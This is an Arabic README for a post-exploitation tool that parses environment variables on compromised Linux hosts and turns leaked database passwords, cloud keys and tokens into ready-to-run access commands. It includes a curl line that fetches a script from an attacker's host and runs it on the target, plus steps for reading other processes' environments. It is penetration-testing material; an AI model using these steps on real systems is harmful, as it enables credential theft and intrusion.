
تحليل وتصوّر `/proc/self/environ` على أنظمة Linux المخترقة — يصنّف متغيرات البيئة حسب حزمة التقنيات (AWS، Django، Rails، NodeJS، MySQL، K8s، Docker، إلخ…) ويولّد رؤى مُصنّفة حسب الخطورة مع أوامر جاهزة للتنفيذ
___________ ____ ____.__ .__ .__
\_ _____/ _______ _\ \ / /|__| ________ _______ | | |__|_______ ___________
| __)_ / \ \/ /\ Y / | |/ ___/ | \__ \ | | | \___ // __ \_ __ \
| \ | \ / \ / | |\___ \| | // __ \| |_| |/ /\ ___/| | \/
/_______ /___| /\_/ \___/ |__/____ >____/(____ /____/__/_____ \\___ >__|
\/ \/ \/ \/ \/ \/
حلّل وصنّف وصوّر
/proc/self/environعلى أجهزة Linux المخترقة.
حوّل جداراً من نص متغيرات البيئة المدمجة إلى معلومات استخباراتية منظمة ومرمّزة بالألوان — في ثوانٍ.
المؤلف: @W4r10ck423
عندما تصل إلى جهاز وتقرأ /proc/self/environ، تحصل على هذا:
USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi
EnvVisualizer يحوّل ذلك إلى هذا:
============================================================================
EnvVisualizer — /proc/self/environ (32 variables)
============================================================================
── Identity (4) ───────────────────────────────────────────────────────────
HOME /home/dev
LOGNAME dev
SHELL /bin/bash
USER dev
── Paths & Dirs (10) ──────────────────────────────────────────────────────
PATH
• /home/dev/projects/store1/node_modules/.bin
• /home/dev/projects/node_modules/.bin
• /usr/local/sbin
• /usr/local/bin
• /usr/sbin
• /usr/bin
• /sbin
• /bin
• /snap/bin
PWD /home/dev/projects/store1
npm_config_cache /home/dev/.npm
npm_execpath /usr/share/nodejs/npm/bin/npm-cli.js
── NPM / Node (12) ────────────────────────────────────────────────────────
NODE /usr/bin/node
npm_command run-script
npm_config_user_agent npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
npm_lifecycle_script nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
npm_package_json /home/dev/projects/store1/package.json
── System (6) ─────────────────────────────────────────────────────────────
COLOR 0
EDITOR vi
INVOCATION_ID abc0ab20c7dd498792d8be51c591071a
JOURNAL_STREAM 8:6005
LANG C.UTF-8
SYSTEMD_EXEC_PID 881
── Pentest Insights ────────────────────────────────────────────────────────
▶ Node.js debugger exposed → 127.0.0.1:9229 (try: node-inspector / chrome://inspect)
▶ Home dir: /home/dev
▶ Shell: /bin/bash
▶ npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
▶ npm_lifecycle_event = watch
مع تثبيت rich، تحصل كل فئة على جدولها المرمّز بالألوان.
npm_*، node_*، pip_*، إلخ)TOKEN، KEY، SECRET، PASSWORD، إلخ) بتحذير ⚠rich؛ مخرجات نصية نظيفة كبديل (لا تتطلب أي تبعيات)git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich # optional but recommended
python3 envvisualizer.py --help
git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help
انسخ envvisualizer.py إلى الجهاز الهدف أو جهاز المهاجم. يعمل بدون أي تبعيات:
# On the attacker machine — host it
python3 -m http.server 8080
# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ
| التبعية | الإصدار | مطلوب |
|---|---|---|
| Python | ≥ 3.8 | نعم |
| rich | ≥ 13.0 | لا (بديل نصي عادي) |
usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]
options:
-h, --help show this help message and exit
-f PATH, --file PATH Environ file path (null-byte delimited)
-r STRING, --raw STRING
Raw concatenated environ string (copy-pasted, no null bytes)
--no-rich Force plain-text output
نصيحة: فضّل
-fكلما كان لديك وصول للملف.
الفاصل بالبايت الصفري في الملف الحقيقي دقيق — لا حاجة لاستدلالات.
# Current process
python3 envvisualizer.py -f /proc/self/environ
# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ
# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ
cat /proc/self/environ | python3 envvisualizer.py
python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'
python3 envvisualizer.py -f /proc/self/environ --no-rich
تُجمّع المتغيرات في 12 فئة، تُقيَّم بترتيب الأولوية (أول تطابق يفوز).
تُطلق لوحة Pentest Insights اكتشافات موجّهة وواعية بالتقنيات بأربعة مستويات خطورة.
تُولَّد الأوامر الجاهزة للتشغيل تلقائياً من القيم الفعلية الموجودة في البيئة.
── Pentest Insights ─────────────────────────────────────────────────────────
[!!!] PostgreSQL password in env → psql postgresql://appuser:[email protected]:5432/production_db
[!!!] DATABASE_URL contains embedded credentials → postgresql://admin:[email protected]:5432/maindb
[!!!] MongoDB root credentials in env → mongosh -u admin -p 'mongoS3cret'
[!!!] AWS long-term credentials → KEY=AKIAIOSFODNN7EXAMPLE (run: aws sts get-caller-identity)
[!!!] HashiCorp Vault token in env → vault token lookup addr: http://vault.internal:8200
[!!!] Stripe LIVE secret key — production payment API access
[!!!] Rails master key in env — decrypts config/credentials.yml.enc
[!! ] Redis auth → redis-cli -h redis.internal -p 6379 -a 'r3disP@ss'
[!! ] Inside Kubernetes pod → service host: 10.96.0.1
[!! ] GitHub token in env → curl -H 'Authorization: token $GITHUB_TOKEN' ...
[!! ] Django DEBUG=True — full stack traces served to users
[!! ] JVM remote debugging enabled → -agentlib:jdwp=... (try: jdb -attach <host>:<port>)
[ * ] Python venv active → /var/www/myapp/.venv
عندما يتم نسخ /proc/self/environ ولصقه (مثلاً، من web shell أو مخرجات curl)، تُزال البايتات الصفرية، مما يدمج المتغيرات المتجاورة:
USER=dev·npm_config_user_agent=npm/8.5.1...
↑──↑↑───────────────────↑
value next key starts here
تقسيم ساذج بـ WORD= سينتج devnpm_config_user_agent كمفتاح.
يستخدم EnvVisualizer كاشف حدود ثنائي الفئات يقسّم فقط على:
USER، HOME، JOURNAL_STREAM، إلخ.npm_*، node_*، pip_*، java_*، python_*، ruby_*، إلخ.لأن التعبير النمطي يجد npm_config_user_agent داخل الرمز المدمج، تُقلَّم القيمة السابقة تلقائياً إلى dev. لا lookbehind، لا افتراضات حدود الكلمات — فقط نمط المفتاح نفسه كمرساة.
MIT — استخدم بحرية، الإشارة إلى المصدر مُقدَّرة.
| الطريقة | الأمر | الدقة |
|---|
| قراءة الملف مباشرةً | python3 envvisualizer.py -f /proc/self/environ | ✅ مثالية (تقسيم بالبايت الصفري) |
| تمرير stdin | cat /proc/self/environ | python3 envvisualizer.py | ✅ مثالية (تقسيم بالبايت الصفري) |
| نص ملصوق | python3 envvisualizer.py -r 'USER=dev...' | ✅ جيدة (استدلال ثنائي الفئات) |
| بدون وسائط (عرض توضيحي) | python3 envvisualizer.py | ✅ مثالية (عمليته الخاصة) |
| الفئة | المتغيرات النموذجية |
|---|
| 🔐 الأمان / المصادقة | SSH_*، SUDO_*، أي شيء يطابق TOKEN، KEY، SECRET، PASSWORD، CREDENTIAL، CERT |
| 👤 الهوية | USER، LOGNAME، HOME، SHELL، UID، GID |
| 🗄 قواعد البيانات | PG*، MYSQL_*، MONGO*، REDIS_*، DATABASE_URL، DB_*، ELASTIC*، CASSANDRA_*، SQLALCHEMY_* |
| ☁ السحابة / البنية التحتية | AWS_*، GOOGLE_*، AZURE_*، ARM_*، DOCKER_*، KUBERNETES_*، VAULT_*، TF_*، CLOUDFLARE_* |
| 🔄 CI/CD & VCS | GITHUB_*، GITLAB_*، CI_*، TRAVIS_*، CIRCLE*، JENKINS_*، HEROKU_*، BUILD_* |
| 🔌 واجهات برمجة الطرف الثالث | STRIPE_*، TWILIO_*، SENDGRID_*، SENTRY_*، DD_*، SLACK_*، OPENAI_*، ALGOLIA_*، AUTH0_* |
| 🕸 أطر الويب | DJANGO_*، FLASK_*، RAILS_*، SPRING_*، ASPNETCORE_*، APP_KEY/ENV/DEBUG، SECRET_KEY_BASE، MIX_ENV، NEXT_*، VITE_*، REACT_APP_* |
| 🐍 بيئات تشغيل التطبيقات | PYTHON*، CONDA_*، VIRTUAL_ENV، GEM_*، BUNDLE_*، JAVA_*، JVM_*، MAVEN_*، CATALINA_*، GO*، RUST*، CARGO_*، PHP_*، DOTNET_*، PERL*، DENO_* |
| 📦 NPM / Node | npm_*، NODE، NODE_ENV، NODE_OPTIONS |
| 📂 المسارات والمجلدات | PATH، PWD، *_DIR، *_PREFIX، *_HOME، *_CACHE، INIT_CWD |
| 🌐 الشبكة / الوكيل | *_PROXY، HOSTNAME، SSL_CERT_*، CURL_CA_BUNDLE، *_URL، *_ADDR |
| ⚙ النظام | LANG، TERM، EDITOR، INVOCATION_ID، JOURNAL_STREAM، XDG_*، LC_* |
| أخرى | كل ما تبقى، مرتب أبجدياً |
| الخطورة | البادئة | المعنى |
|---|
💀 CRITICAL | [!!!] | بيانات اعتماد حية، مفتاح سري، أو مفتاح رئيسي — تأثير فوري |
⚠ HIGH | [!! ] | رمز مميز، وضع تصحيح، أو خدمة مكشوفة — مسار هجوم قابل للتنفيذ |
→ MEDIUM | [! ] | معلومات مثيرة للاهتمام قد تساعد في التصعيد |
▶ INFO | [ * ] | سياق عام حول العملية والبيئة |
| التقنية | ما يتم اكتشافه |
|---|
| PostgreSQL | PGPASSWORD → يبني تلقائياً psql postgresql://user:pass@host/db |
| MySQL / MariaDB | MYSQL_ROOT_PASSWORD / MYSQL_PASSWORD → يبني تلقائياً أمر mysql |
| MongoDB | MONGO_INITDB_ROOT_* → يبني تلقائياً أمر mongosh |
| Redis | REDIS_PASSWORD → يبني تلقائياً أمر redis-cli -a |
| DB URLs | DATABASE_URL، MONGODB_URI، إلخ → يعلّم بيانات الاعتماد المدمجة |
| AWS | زوج المفاتيح → يعلّمه كطويل الأمد أو STS مؤقت، يقترح aws sts get-caller-identity |
| GCP | GOOGLE_APPLICATION_CREDENTIALS → يقترح gcloud auth activate-service-account |
| Azure | AZURE_CLIENT_SECRET → يعلّم معرّف المستأجر + يقترح az login --service-principal |
| HashiCorp Vault | VAULT_TOKEN + VAULT_ADDR → يقترح vault token lookup |
| Kubernetes | KUBERNETES_SERVICE_HOST المحقون → يعلّم سياق pod، يقترح قراءة رمز SA |
| Docker | DOCKER_HOST معيّن → يعلّم كشف الـ daemon |
| GitHub / GitLab | الرموز المميزة → يقترح أوامر curl للتحقق من API |
| Heroku | HEROKU_API_KEY → يعلّمه مع اسم التطبيق |
| Stripe | sk_live_* الحقيقي → CRITICAL؛ sk_test_* التجريبي → MEDIUM |
| Datadog | DD_API_KEY → يعلّم الوصول إلى المقاييس/السجلات/التتبعات |
| Slack | SLACK_BOT_TOKEN / SLACK_APP_TOKEN → يعلّم الوصول إلى مساحة العمل |
| OpenAI | OPENAI_API_KEY → يعلّم التعرض للفوترة |
| Django | DJANGO_DEBUG=True → يعلّم كشف تتبع المكدس |
| Flask | FLASK_DEBUG=1 → يعلّم مصحح Werkzeug التفاعلي (تجاوز PIN / SSTI) |
| Laravel | APP_DEBUG=true + APP_KEY=base64:* → يعلّم مسار تزوير الكوكيز |
| Rails | RAILS_MASTER_KEY → CRITICAL (يفك تشفير credentials.yml.enc)؛ SECRET_KEY_BASE → تزوير كوكيز الجلسة |
| JVM | JAVA_TOOL_OPTIONS مع jdwp → يعلّم منفذ التصحيح عن بُعد، يقترح jdb -attach |
| Tomcat | CATALINA_HOME → يعلّم المسار إلى tomcat-users.xml |
| Node.js | --inspect / --inspect-brk → يعلّم المصحح، يقترح chrome://inspect |
| Kerberos | KRB5CCNAME → يعلّم ذاكرة التذاكر المؤقتة، يقترح klist / Impacket |
| Sudo | SUDO_USER → يُظهر UID/GID الأصلي قبل التصعيد |